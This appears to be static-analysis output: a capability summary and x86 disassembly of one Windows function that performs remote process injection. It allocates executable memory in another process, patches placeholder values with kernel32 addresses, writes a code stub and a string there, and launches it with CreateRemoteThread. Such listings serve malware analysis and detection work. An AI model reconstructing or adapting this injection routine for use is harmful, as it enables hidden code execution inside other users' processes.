Function at 0x402030
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x108
push ebx
push esi
push edi
push 0xff
lea eax, [ebp - 0x107]
push 0
push eax
mov dword [ebp - 4], 0
mov byte [ebp - 0x108], 0
call sub.msvcrt.dll_memset
mov esi, 0x402020
sub esi, 0x401f90
push esi
lea ecx, [ebp - 0x108]
push 0x401f90
push ecx
mov dword [ebp - 8], esi
call sub.msvcrt.dll_memcpy
mov edi, dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
add esp, 0x18
push 0x40a824
push str.kernel32
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ebx, [esi - 4]
lea ecx, [ebp - 0x108]
test ebx, ebx
je 0x4020b8
xor edx, edx
cmp dword [ecx], 0x22222222
jne 0x4020b2
mov dword [ecx], eax
inc edx
inc ecx
cmp edx, ebx
jb 0x4020a8
push 0x40a844
push str.kernel32
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x108]
test ebx, ebx
je 0x4020e7
xor edx, edx
cmp dword [ecx], 0x33333333
jne 0x4020e1
mov dword [ecx], eax
inc edx
inc ecx
cmp edx, ebx
jb 0x4020d7
push str.SetErrorMode
push str.kernel32
call edi
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [ebp - 0x108]
test ebx, ebx
je 0x402116
xor edx, edx
cmp dword [ecx], 0x44444444
jne 0x402110
mov dword [ecx], eax
inc edx
inc ecx
cmp edx, ebx
jb 0x402106
push 0x40
push 0x3000
push esi
mov esi, dword [ebp + 8]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, eax
mov eax, 0x427c00
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402134
sub eax, edx
push 0x40
sar eax, 1
push 0x3000
lea edx, [eax + eax + 0x14]
push edx
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov esi, eax
test edi, edi
je 0x40222f
test esi, esi
je 0x40222f
mov eax, 0x427c00
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x402172
sub eax, edx
sar eax, 1
lea ecx, [ebp - 4]
push ecx
lea edx, [eax + eax + 2]
mov eax, dword [ebp + 8]
push edx
push 0x427c00
push esi
push eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x402215
mov ecx, dword [ebp + 8]
mov edx, dword [ebp + 0xc]
push 2
push 0
push 0
push 0x427be4
push ecx
push edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
push eax
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
test eax, eax
je 0x402215
lea eax, [ebp - 0x108]
test ebx, ebx
je 0x4021e4
mov edx, dword [0x427be4]
xor ecx, ecx
cmp dword [eax], 0x11111111
jne 0x4021de
mov dword [eax], edx
inc ecx
inc eax
cmp ecx, ebx
jb 0x4021d4
mov ecx, dword [ebp - 8]
mov ebx, dword [ebp + 8]
lea eax, [ebp - 4]
push eax
push ecx
lea edx, [ebp - 0x108]
push edx
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
jne 0x402238
push 1
push eax
push eax
push eax
mov eax, dword [0x427be4]
push ebx
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_DuplicateHandle]
push 0xc000
push 0
push edi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualFree]
call edi
push 0xc000
push 0
push esi
call edi
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret
push 0
push 0
push esi
push edi
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
mov dword [0x427be8], eax
test eax, eax
jne 0x402261
mov ecx, dword [0x427be4]
push 1
push eax
push eax
push eax
push ebx
push ecx
jmp 0x40220e
pop edi
pop esi
mov dword [0x427be0], ebx
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret